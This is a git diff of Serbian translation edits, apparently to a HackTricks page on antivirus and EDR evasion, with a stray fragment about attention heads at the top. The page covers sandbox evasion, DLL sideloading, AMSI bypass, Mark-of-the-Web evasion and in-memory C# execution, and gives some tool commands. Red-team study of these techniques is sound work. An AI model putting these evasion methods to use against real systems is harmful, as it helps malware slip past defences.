def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||||
|
@ -412,7 +412,7 @@ Za još jednu kompaktno i efikasnu implementaciju možete koristiti [`torch.nn.M
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
|
Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
|
||||||
|
|
||||||
Iako omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja može delovati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
|
Iako bi omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja moglo izgledati kao prednost jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
|
@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ Statička detekcija se postiže označavanjem poznatih malicioznih stringova ili
|
||||||
|
|
||||||
* **Enkripcija**
|
* **Enkripcija**
|
||||||
|
|
||||||
Ako enkriptujete binarni fajl, neće biti načina za AV da detektuje vaš program, ali će vam biti potreban neki loader da dekriptuje i pokrene program u memoriji.
|
Ako enkriptujete binarni fajl, neće biti načina za AV da detektuje vaš program, ali će vam biti potreban neki loader za dekripciju i pokretanje programa u memoriji.
|
||||||
|
|
||||||
* **Obfuskacija**
|
* **Obfuskacija**
|
||||||
|
|
||||||
|
@ -53,7 +53,7 @@ Toplo preporučujem da pogledate ovu [YouTube plejlistu](https://www.youtube.com
|
||||||
|
|
||||||
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pretraživača, izvođenje minidump-a na LSASS-u, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandbox-e.
|
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pretraživača, izvođenje minidump-a na LSASS-u, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandbox-e.
|
||||||
|
|
||||||
* **Spavanje pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih perioda spavanja može ometati analizu binarnih fajlova. Problem je u tome što mnogi AV-ovi sandbox-i mogu jednostavno preskočiti spavanje u zavisnosti od toga kako je implementirano.
|
* **Spavanje pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih spavanja može ometati analizu binarnih fajlova. Problem je u tome što mnogi AV-ovi sandbox-i mogu jednostavno preskočiti spavanje u zavisnosti od toga kako je implementirano.
|
||||||
* **Proveravanje resursa mašine** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne mora sve biti implementirano u sandbox-u.
|
* **Proveravanje resursa mašine** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne mora sve biti implementirano u sandbox-u.
|
||||||
* **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da se zatvori.
|
* **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da se zatvori.
|
||||||
|
|
||||||
|
@ -65,19 +65,19 @@ Neki drugi zaista dobri saveti od [@mgeeky](https://twitter.com/mariuszbit) za b
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanal</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanal</p></figcaption></figure>
|
||||||
|
|
||||||
Kao što smo rekli ranije u ovom postu, **javni alati** će na kraju **biti otkriveni**, tako da biste trebali postaviti sebi pitanje:
|
Kao što smo rekli ranije u ovom postu, **javni alati** će na kraju **biti otkriveni**, tako da biste trebali da se zapitate nešto:
|
||||||
|
|
||||||
Na primer, ako želite da dump-ujete LSASS, **da li vam zaista treba da koristite mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
|
Na primer, ako želite da dump-ujete LSASS, **da li zaista morate koristiti mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
|
||||||
|
|
||||||
Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih malver-a od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV, tako da jednostavno potražite alternative za ono što pokušavate da postignete.
|
Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih malver-a od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV, tako da jednostavno potražite alternative za ono što pokušavate da postignete.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Kada modifikujete svoje payload-e za izbegavanje, obavezno **isključite automatsko slanje uzoraka** u defender-u, i molim vas, ozbiljno, **NE ULAŽITE NA VIRUSTOTAL** ako je vaš cilj postizanje izbegavanja na duge staze. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom.
|
Kada modifikujete svoje payload-e za izbegavanje, obavezno **isključite automatsko slanje uzoraka** u Defender-u, i molim vas, ozbiljno, **NE ULAŽITE NA VIRUSTOTAL** ako je vaš cilj postizanje izbegavanja na duže staze. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## EXE vs DLL
|
## EXE vs DLL
|
||||||
|
|
||||||
Kada god je to moguće, uvek **prioritizujte korišćenje DLL-ova za izbegavanje**, prema mom iskustvu, DLL datoteke su obično **mnogo manje otkrivene** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli otkrivanje u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL, naravno).
|
Kada god je to moguće, uvek **prioritizujte korišćenje DLL-ova za izbegavanje**, prema mom iskustvu, DLL datoteke su obično **mnogo manje otkrivene** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL naravno).
|
||||||
|
|
||||||
Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.
|
Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.
|
||||||
|
|
||||||
|
@ -87,7 +87,7 @@ Sada ćemo pokazati neke trikove koje možete koristiti sa DLL datotekama da bis
|
||||||
|
|
||||||
## DLL Sideloading & Proxying
|
## DLL Sideloading & Proxying
|
||||||
|
|
||||||
**DLL Sideloading** koristi prednost reda pretrage DLL-ova koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload pored jedan drugog.
|
**DLL Sideloading** koristi prednost reda pretrage DLL-ova koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload zajedno.
|
||||||
|
|
||||||
Možete proveriti programe podložne DLL Sideloading-u koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript:
|
Možete proveriti programe podložne DLL Sideloading-u koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript:
|
||||||
|
|
||||||
|
@ -100,7 +100,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Ova komanda će prikazati listu programa podložnih DLL hijacking-u unutar "C:\Program Files\\" i DLL fajlova koje pokušavaju da učitaju.
|
Ova komanda će prikazati listu programa podložnih DLL hijackingu unutar "C:\Program Files\\" i DLL datoteka koje pokušavaju da učitaju.
|
||||||
|
|
||||||
Toplo preporučujem da **istražite DLL hijackable/sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni.
|
Toplo preporučujem da **istražite DLL hijackable/sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni.
|
||||||
|
|
||||||
|
@ -121,7 +121,7 @@ Ovo su koraci koje sam pratio:
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Poslednja komanda će nam dati 2 fajla: šablon izvorne koda DLL-a i originalni preimenovani DLL.
|
Poslednja komanda će nam dati 2 fajla: šablon izvorne DLL datoteke i originalnu preimenovanu DLL.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -145,7 +145,7 @@ Preporučujem da pogledate [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/v
|
||||||
|
|
||||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||||
|
|
||||||
`Freeze je alat za payload koji se koristi za zaobilaženje EDR-a koristeći suspendovane procese, direktne syscalls i alternativne metode izvršavanja`
|
`Freeze je alat za payload za zaobilaženje EDR-a koristeći suspendovane procese, direktne syscalls i alternativne metode izvršenja`
|
||||||
|
|
||||||
Možete koristiti Freeze da učitate i izvršite svoj shellcode na diskretan način.
|
Možete koristiti Freeze da učitate i izvršite svoj shellcode na diskretan način.
|
||||||
```
|
```
|
||||||
|
@ -157,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Izbegavanje je samo igra mačke i miša, ono što danas funkcioniše može biti otkriveno sutra, zato nikada ne oslanjajte se samo na jedan alat, ako je moguće, pokušajte da povežete više tehnika izbegavanja.
|
Izbegavanje je samo igra mačke i miša, ono što danas funkcioniše može biti otkriveno sutra, tako da nikada ne oslanjajte se samo na jedan alat, ako je moguće, pokušajte da povežete više tehnika izbegavanja.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## AMSI (Interfejs za skeniranje protiv malvera)
|
## AMSI (Interfejs za skeniranje protiv malvera)
|
||||||
|
|
||||||
AMSI je stvoren da spreči "[malver bez datoteka](https://en.wikipedia.org/wiki/Fileless\_malware)". U početku, AV-ovi su mogli da skeniraju **datoteke na disku**, tako da ako biste nekako izvršili payload-ove **direktno u memoriji**, AV nije mogao ništa da uradi da to spreči, jer nije imao dovoljno uvida.
|
AMSI je stvoren da spreči "[malver bez datoteka](https://en.wikipedia.org/wiki/Fileless\_malware)". U početku, AV-ovi su mogli da skeniraju samo **datoteke na disku**, tako da ako biste nekako mogli da izvršite payload-ove **direktno u memoriji**, AV nije mogao ništa da učini da to spreči, jer nije imao dovoljno uvida.
|
||||||
|
|
||||||
AMSI funkcija je integrisana u ove komponente Windows-a.
|
AMSI funkcija je integrisana u ove komponente Windows-a.
|
||||||
|
|
||||||
|
@ -188,15 +188,15 @@ Postoji nekoliko načina da se zaobiđe AMSI:
|
||||||
|
|
||||||
Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
|
Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
|
||||||
|
|
||||||
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. To čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
|
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. Ovo čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
|
||||||
|
|
||||||
* **AMSI Bypass**
|
* **AMSI zaobilaženje**
|
||||||
|
|
||||||
Pošto je AMSI implementiran učitavanjem DLL-a u proces powershell-a (takođe cscript.exe, wscript.exe, itd.), moguće je lako manipulisati njime čak i kada se pokreće kao korisnik bez privilegija. Zbog ove greške u implementaciji AMSI, istraživači su pronašli više načina da izbegnu AMSI skeniranje.
|
Pošto je AMSI implementiran učitavanjem DLL-a u proces powershell (takođe cscript.exe, wscript.exe, itd.), moguće je lako manipulisati njime čak i kada se pokreće kao korisnik bez privilegija. Zbog ove greške u implementaciji AMSI, istraživači su pronašli više načina da izbegnu AMSI skeniranje.
|
||||||
|
|
||||||
**Prisiljavanje na grešku**
|
**Prisiljavanje na grešku**
|
||||||
|
|
||||||
Prisiljavanje AMSI inicijalizacije da ne uspe (amsiInitFailed) će rezultirati time da nijedno skeniranje neće biti inicirano za trenutni proces. Prvobitno je ovo otkrio [Matt Graeber](https://twitter.com/mattifestation) i Microsoft je razvio potpis da spreči širu upotrebu.
|
Prisiljavanje AMSI inicijalizacije da ne uspe (amsiInitFailed) rezultira time da se nijedno skeniranje neće pokrenuti za trenutni proces. Prvobitno je ovo otkrio [Matt Graeber](https://twitter.com/mattifestation) i Microsoft je razvio potpis da spreči širu upotrebu.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -230,33 +230,33 @@ Ova tehnika je prvobitno otkrivena od strane [@RastaMouse](https://twitter.com/\
|
||||||
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
|
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Postoji mnogo drugih tehnika koje se koriste za zaobilaženje AMSI sa powershell, pogledajte [**ovu stranicu**](basic-powershell-for-pentesters/#amsi-bypass) i [ovaj repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) da biste saznali više o njima.
|
Postoji mnogo drugih tehnika koje se koriste za zaobilaženje AMSI sa powershell-om, pogledajte [**ovu stranicu**](basic-powershell-for-pentesters/#amsi-bypass) i [ovaj repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) da biste saznali više o njima.
|
||||||
|
|
||||||
Ili ovaj skript koji putem memorijskog patchinga će patchovati svaki novi Powersh
|
Ili ovaj skript koji će putem memorijskog patchinga patchovati svaki novi Powersh
|
||||||
|
|
||||||
## Obfuscation
|
## Obfuscation
|
||||||
|
|
||||||
Postoji nekoliko alata koji se mogu koristiti za **obfuskaciju C# čistog koda**, generisanje **metaprogramskih šablona** za kompajliranje binarnih datoteka ili **obfuskaciju kompajliranih binarnih datoteka** kao što su:
|
Postoji nekoliko alata koji se mogu koristiti za **obfuskaciju C# čistog koda**, generisanje **metaprogramskih šablona** za kompajliranje binarnih datoteka ili **obfuskaciju kompajliranih binarnih datoteka** kao što su:
|
||||||
|
|
||||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Cilj ovog projekta je da obezbedi open-source fork [LLVM](http://www.llvm.org/) kompilacione suite sposobne da pruže povećanu sigurnost softvera kroz [obfuskaciju koda](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) i zaštitu od neovlašćenih izmena.
|
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Cilj ovog projekta je da pruži open-source fork [LLVM](http://www.llvm.org/) kompilacione suite sposobne da pruži povećanu sigurnost softvera kroz [obfuskaciju koda](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) i zaštitu od neovlašćenih izmena.
|
||||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator pokazuje kako koristiti `C++11/14` jezik za generisanje, u vreme kompajliranja, obfuskovanog koda bez korišćenja bilo kog spoljnog alata i bez modifikovanja kompajlera.
|
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator pokazuje kako koristiti `C++11/14` jezik za generisanje, u vreme kompajliranja, obfuskovanog koda bez korišćenja bilo kog spoljnog alata i bez modifikovanja kompajlera.
|
||||||
* [**obfy**](https://github.com/fritzone/obfy): Dodaje sloj obfuskovanih operacija generisanih C++ metaprogramskim okvirom koji će otežati život osobi koja želi da provali aplikaciju.
|
* [**obfy**](https://github.com/fritzone/obfy): Dodaje sloj obfuskovanih operacija generisanih C++ metaprogramskim okvirom koji će otežati život osobi koja želi da provali aplikaciju.
|
||||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 binarni obfuscator koji može obfuskovati razne različite pe datoteke uključujući: .exe, .dll, .sys
|
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 binarni obfuscator koji može obfuskovati razne različite pe datoteke uključujući: .exe, .dll, .sys
|
||||||
* [**metame**](https://github.com/a0rtega/metame): Metame je jednostavan metamorfni kod motor za proizvoljne izvršne datoteke.
|
* [**metame**](https://github.com/a0rtega/metame): Metame je jednostavan metamorfni kod motor za proizvoljne izvršne datoteke.
|
||||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator je okvir za obfuskaciju koda sa finim granicama za jezike podržane od strane LLVM koristeći ROP (programiranje orijentisano na povratak). ROPfuscator obfuskira program na nivou asemblera transformišući redovne instrukcije u ROP lance, ometajući naše prirodno shvatanje normalnog toka kontrole.
|
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator je okvir za obfuskaciju koda sa finim granicama za jezike podržane od strane LLVM koristeći ROP (programiranje orijentisano na povratak). ROPfuscator obfuskira program na nivou asemblera transformišući obične instrukcije u ROP lance, ometajući naše prirodno shvatanje normalnog toka kontrole.
|
||||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt je .NET PE Crypter napisan u Nimu
|
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt je .NET PE Crypter napisan u Nimu
|
||||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor može konvertovati postojeće EXE/DLL u shellcode i zatim ih učitati
|
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor može konvertovati postojeće EXE/DLL u shellcode i zatim ih učitati
|
||||||
|
|
||||||
## SmartScreen & MoTW
|
## SmartScreen & MoTW
|
||||||
|
|
||||||
Možda ste videli ovu stranicu kada ste preuzimali neke izvršne datoteke sa interneta i izvršavali ih.
|
Možda ste videli ovaj ekran kada ste preuzimali neke izvršne datoteke sa interneta i izvršavali ih.
|
||||||
|
|
||||||
Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen zaštiti krajnjeg korisnika od pokretanja potencijalno zlonamernih aplikacija.
|
Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen zaštiti krajnjeg korisnika od pokretanja potencijalno zlonamernih aplikacija.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobično preuzete aplikacije aktivirati SmartScreen, upozoravajući i sprečavajući krajnjeg korisnika da izvrši datoteku (iako se datoteka i dalje može izvršiti klikom na Više informacija -> Pokreni u svakom slučaju).
|
SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobično preuzete aplikacije aktivirati SmartScreen, čime će upozoriti i sprečiti krajnjeg korisnika da izvrši datoteku (iako se datoteka i dalje može izvršiti klikom na Više informacija -> Pokreni u svakom slučaju).
|
||||||
|
|
||||||
**MoTW** (Mark of The Web) je [NTFS Alternativni Podaci Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja datoteka sa interneta, zajedno sa URL-om sa kojeg je preuzeta.
|
**MoTW** (Mark of The Web) je [NTFS Alternativni Podaci Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja datoteka sa interneta, zajedno sa URL-om sa kojeg je preuzeta.
|
||||||
|
|
||||||
|
@ -266,11 +266,11 @@ SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobi
|
||||||
Važno je napomenuti da izvršne datoteke potpisane **pouzdanom** potpisnom sertifikatom **neće aktivirati SmartScreen**.
|
Važno je napomenuti da izvršne datoteke potpisane **pouzdanom** potpisnom sertifikatom **neće aktivirati SmartScreen**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Veoma efikasan način da sprečite da vaši payloadi dobiju Mark of The Web je pakovanje unutar nekog oblika kontejnera poput ISO-a. To se dešava jer Mark-of-the-Web (MOTW) **ne može** biti primenjen na **non NTFS** volumene.
|
Veoma efikasan način da sprečite da vaši payload-ovi dobiju Mark of The Web je da ih pakujete unutar nekog oblika kontejnera kao što je ISO. To se dešava zato što Mark-of-the-Web (MOTW) **ne može** biti primenjen na **non NTFS** volumene.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) je alat koji pakuje payload-e u izlazne kontejnere kako bi izbegao Mark-of-the-Web.
|
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) je alat koji pakuje payload-ove u izlazne kontejnere kako bi izbegao Mark-of-the-Web.
|
||||||
|
|
||||||
Example usage:
|
Example usage:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -300,33 +300,33 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||||
|
|
||||||
## C# Assembly Reflection
|
## C# Assembly Reflection
|
||||||
|
|
||||||
Učitavanje C# binarnih datoteka u memoriju je poznato već neko vreme i još uvek je veoma dobar način za pokretanje vaših alata nakon eksploatacije bez da vas uhvate AV.
|
Učitavanje C# binarnih datoteka u memoriju je poznato već neko vreme i to je i dalje veoma dobar način za pokretanje vaših alata nakon eksploatacije bez da vas AV uhvati.
|
||||||
|
|
||||||
Pošto će se payload učitati direktno u memoriju bez dodirivanja diska, moraćemo da se brinemo samo o patchovanju AMSI tokom celog procesa.
|
Pošto će se payload učitati direktno u memoriju bez dodirivanja diska, moraćemo da se brinemo samo o patchovanju AMSI tokom celog procesa.
|
||||||
|
|
||||||
Većina C2 okvira (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već pruža mogućnost izvršavanja C# assembly-a direktno u memoriji, ali postoje različiti načini da se to uradi:
|
Većina C2 okvira (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već pruža mogućnost izvršavanja C# assembly-a direktno u memoriji, ali postoje različiti načini za to:
|
||||||
|
|
||||||
* **Fork\&Run**
|
* **Fork\&Run**
|
||||||
|
|
||||||
Ovo podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg zloćudnog koda u taj novi proces, izvršavanje vašeg zloćudnog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je u tome što se izvršavanje dešava **van** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je u tome što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**.
|
Ovo podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg malicioznog koda nakon eksploatacije u taj novi proces, izvršavanje vašeg malicioznog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je što se izvršavanje dešava **van** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **Inline**
|
* **Inline**
|
||||||
|
|
||||||
Radi se o injektovanju zloćudnog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je u tome što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite vaš beacon** jer bi mogao da se sruši.
|
Radi se o injektovanju malicioznog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite vaš beacon** jer bi mogao da se sruši.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Ako želite da pročitate više o učitavanju C# Assembly-a, molimo vas da pogledate ovaj članak [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i njihov InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
